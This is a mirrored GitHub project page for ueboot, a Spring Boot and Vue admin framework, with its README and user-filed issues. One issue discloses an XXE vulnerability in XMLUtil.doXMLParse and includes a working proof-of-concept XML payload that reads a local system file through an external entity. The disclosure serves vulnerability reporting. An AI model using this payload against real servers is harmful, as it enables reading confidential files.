Giter Site home page Giter Site logo

ueboot / ueboot Goto Github PK

View Code? Open in Web Editor NEW
277.0 17.0 80.0 20.37 MB

springboot2.2、spring-data-jpa、iView4、Vue2 、代码生成器、shiro权限管理、前后端分离、java后台管理系统快速开发框架,通过该框架可以在分钟级别内完成单表的前后端增删改查功能。脚手架工程: https://github.com/ueboot/ueboot-starter ,基于这个工程可以直接开发

Home Page: http://www.ueboot.com

License: BSD 3-Clause "New" or "Revised" License

Java 94.74% PLpgSQL 1.46% Less 3.80%
spring-boot vue iview3 spring-data-jpa shiro lombok maven iviewui-crud-ui

ueboot's Introduction

官方文档

http://www.ueboot.com

当前使用springboot版本为2.x

脚手架工程

https://github.com/ueboot/ueboot-starter 当前项目为框架核心代码,无法直接运行使用,可以基于脚手架做二次开发。脚手架工程提供了最基础的代码架构,只需要要导入初始数据库即可。

1. 概要介绍

  • ueboot是一个基于spring boot2 + vue2.0+iview3.0的基础开发平台,通过这个平台可以快速完成某些CRUD功能的系统(从前端到后端快速实现)
  • 基于iViewUI提供了一套CRUD快速开发UI组件,只需要配置json即可完成单表的CRUD功能,配合后端Java能在1分钟内完成开发。
  • 平台默认提供了安全防范,防止XSS攻击、SQL注入等。
  • 提供代码生成器,生成页面和Java代码,避免纯粹重再复劳动,生成的代码完全可以自主二次修改。
  • 提供最佳实践的开发约定(Maven模块管理、前后端接口、异常、日志、权限等),便于小组协同开发。
  • 基于平台进行二次开发,完全不受平台功能限制,平台提供的功能仅仅帮助大家做了一些开发约定和最佳实践,基于这些约定和最佳实践,让开发提高开发效率,并且保持规范一致性,本质上仅仅是一个基础的开发框架,和自己从零开始搭建的开发框架没任何区别。

2. 包含的功能

序号 组件名称 版本号 说明
1 ueboot-core 3.0.0-SNAPSHOT java核心模块,含安全拦截、统一异常、数据库查询等
2 ueboot-shiro 3.0.0-SNAPSHOT 权限管理模块,包含了整个权限功能后端代码和前端页面
3 ueboot-parent 3.0.0-SNAPSHOT pom.xml文件,开发项目继承此文件即可使用所有组件功能
4 ueboot-generator 3.0.0-SNAPSHOT 代码生成器,通可以快速生成前后端代码
5 ueboot-ui 1.5.23 前端UI组件,提供了一套快速开发的CRUD、Tree、权限配置界面等组件
6 ueboot-excel xxx (开发中)excel相关功能
7 ueboot-weixin xxx (开发中)微信相关功能

2.1 ueboot-core

ueboot核心功能,包含了基于spring boot所需要的基础的bean定义以及自定义的一套jpa查询组件。
  • 对所有请求和返回的json内容提供日志打印

  • 对所有请求内容进行xss拦截\sql注入

  • 封装了统一的异常拦截,对外输出标准的错误码和报文

  • 对请求内容做统一的格式化校验(基于hibernate validate),返回统一的错误提示

  • 集成了redis缓存,用于保存session会话和spring cache 方法级别的缓存注解。

  • 统一了所有接口返回的对象,都使用Response包装内进行包装,保证前端接口获取到的报文体格式一致

  • 基于Spring Data JPA 提供了基础的BaseRepository和BaseService,实现了单一Entity类的CRUD功能

  • 提供了部分常用工具类

    • 验证码图片输出工具
    • MD5加密工具
    • 固定长度数字格式化成字符工具类,比如:固定订单号长度,不足则用0补
    • 微信接口调用工具类
    • XSS攻击字符过滤工具类

2.2 ueboot-shiro

权限管理模块,基于apache shiro的一套资源权限管理功能。可以支持前后端接口级别的权限管理,也支持后台管理系统当中的菜单权限。 当前模块包含了权限相关的后台管理界面,因此在集成时需要将页面一并引入。有自己的表、页面、接口服务,在集成时需要考虑前后端一块集成。 img

2.3 ueboot-parent

用于指定项目所必备的jar包声明,在具体的项目当中使用是,需要继承该pom文件,便于管理jar包依赖,无需关心ueboot框架需要用到哪些jar文件 在需要用到的项目当中(maven多模块情况下通常是父模块的pom.xml文件),继承该pom.xml。示例:

 <parent>
        <groupId>com.ueboot</groupId>
        <artifactId>ueboot-parent</artifactId>
        <version>3.0.0-SNAPSHOT</version>
        <relativePath/> 
    </parent>

SNAPSHOT 版本目前只发布在maven.xiqiao.io上,需要切换本地maven的仓库地址为maven.xiqiao.io。Release版本会发布到maven**仓库 可以使用任意的maven仓库地址。

2.4 ueboot-generator

代码生成器,通过这个模块提供的功能可以快速生成前后端代码,完成一个单表的CRUD功能。代码生成器提供了UI界面,通过UI界面控制要生成的代码。

img

2.5 ueboot-ui

前端UI组件,基于iviewui封装了一套常用的UI组件,配合后端的规范可以快速的实现CRUD功能。代码生成器生成的前端页面也是基于这个UI组件来实现的。 对于简单的CRUD界面,开发人员只需要配置json数据即可完成整个CRUD功能。另外提供了登录页面、框架主体页面、权限管理页面,对于想快速直接使用的人来说 可以直接集成这些成体系的UI界面,配合后端接口,快速搭建一套具备完整的用户登录、密码修改权限、管理功能

  • 登录页面 img

  • 框架主题页面 img

  • 用户管理 img

  • 角色管理 img

  • 资源管理 img

  • 增删改查页面 img

上面几个图当中的界面都是一个CRUD的界面,包含了新增记录、分页查询、修改和查看记录详情、删除记录、条件查询功能。整个页面只需要一行标签代码结合JSON配置数据 即可实现。

3.运行

当前项目可以直接启动ueboot-shiro当后台,ueboot-view当前台,进行开发与测试。ueboot-shiro模块会用到其他模块,可以通过在这个模块当中验证修改的功能

  • 启动前台 cd ueboot-view 执行 npm run dev 需要事先执行过npm install
  • 启动后台
    • 打开ueboot-shiro模块
    • 初始化数据库,脚本文件在/resources/sql/ueboot-shiro.sql
    • 修改resources/application.yml文件当中的 数据库链接和Redis配置,需要事先初始化好数据库表结构
    • 找到com.ueboot.shiro.ShiroLocalStartApplication 类,直接右键运行即可
  • 访问http://localhost:8000/swagger-ui.html 可以查看后台接口文档
  • 访问http://localhost:9999 可以操作登录界面,默认用户名ueboot 密码:111111

4.pom修改版本号

   -- 在项目根目录下直接执行如下命令
    mvn versions:set -DnewVersion=3.0.0-SNAPSHOT
    -- 手工修改ueboot-parent目录下的pom.xml当中涉及到ueboot的版本号

5.分支说明

  • master 最新发布的版本代码,与release最新版本一致
  • development 最新开发分支,未发布之前的最新开发代码
  • xxx-release 某个发布的版本分支,每次有新版本release时就会新建分支
  • xxx-fix 基于某个release版本新建的bug修复分支,完成后会合并到development、master分支(如果能兼容)

6.发布记录

  • 2.2.0-release\2.2.1-release 2018年左右发布的版本,已经不再维护,仅保留代码
  • 3.0.0-release 2019年左右发布的版本,与2.2.0存在不兼容(主要是ueboot-view组件不兼容),属于bug维护,已经有部分生产项目在使用,不在新增新的特性
  • 3.1.0-release 2020年11月发布了一个版本到maven**仓库 采用最新的spring boot \iview版本开发
  • master 3.2.0-SNAPSHOT 日常快照版本开发

ueboot's People

Contributors

dependabot[bot] avatar scwanglijun avatar sharkdong avatar tuweiya avatar yaakua avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ueboot's Issues

页面权限和密码

没有支持页面权限控制和密码三级等保校验,劳驾快快加一下呢

# 多级菜单展示

  1. 在同时有二级菜单和三级菜单的情况下
    • 点击“带有三级菜单”的二级菜单,会展开此三级菜单,同时会管理其他“带有三级菜单”的二级菜单
    • 点击“没有三级菜单”的二级菜单,“带有三级菜单”的二级菜单不会自动合并
  2. 当菜单长度一定时,会出现菜单名换行

image

权限管理-资源管理-编辑bug

  1. 在权限管理-资源管理页面下
    • “一级菜单”在选择“编辑”功能后,已有数据的“父节点资源”选项为空
      image

Hello,发现了一个隐形规则

@Repository public class Dictionary**Base**RepositoryImpl extends DefaultJpaRepository<DictionaryEntity, Long> implements DictionaryBaseRepository { ... }
public interface DictionaryBaseRepository { ... }
@Repository public interface DictionaryRepository extends BaseRepository<DictionaryEntity, Long>, DictionaryBaseRepository{ ... }
Repository层在使用上述方式,会出现DictionaryBaseRepository,DictionaryBaseRepositoryImpl中定义的方法会被纳入到JpaData的方法名校验当中,启动项目报错“xxx 方法中参数非 查询对象中的属性”。
经过尝试,改成下列方法即可正常被解析。希望楼主给予核实和说明。
@Repository public class DictionaryRepositoryImpl extends DefaultJpaRepository<DictionaryEntity, Long> implements DictionaryBaseRepository { ... }

# 权限管理-资源管理

  1. 在“权限管理”-“资源管理”下
    • 不同“资源类型”下的“排序”功能都不起作用
      image

There is a XXE vulnerability in ueboot-core module of the method XMLUtil.doXMLParse(String strxml)

https://github.com/ueboot/ueboot/blob/55763e037fd339ca0e8165ccda185ce5028deb03/ueboot-core/src/main/java/com/ueboot/core/utils/XMLUtil.java#LL35C19-L35C26

Description

ueboot-core provides XML utility classes that may be vulnerable to XXE when using XMLUtil.doXMLParse(String strxml) to interpret untrusted XML strings.Attacker can get important file content on the server by it.

Detail

The program will call SAXReader.read(InputStream in) to parse an untrusted XML string and allow reference external entities , can causing a XXE vulnerability.

Version

<= 3.1.0

         <dependency>
              <groupId>com.ueboot</groupId>
              <artifactId>ueboot-core</artifactId>
              <version>3.1.0</version>
          </dependency>

POC

    public static void main(String[] args) throws IOException {
            String xmlStr = "<?xml version='1.0' encoding='utf-8'?>\n"
                    + "<!DOCTYPE xdsec [\n"
                    + "<!ELEMENT methodname ANY>\n"
                    + "<!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'>]>\n"
                    + "<methodcall>\n"
                    + "<methodname>&xxe;</methodname>\n"
                    + "</methodcall>";
    
            Map<String, String> map = XMLUtil.doXMLParse(xmlStr);
            System.out.println(map);
        }

Attack

Attacker can read the content of c:/windows/win.ini by it.
image

# 前台-面包屑

  1. 在设置三级菜单情况下
    • 点击三级子菜单,面包屑只展示二级菜单路径
      image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.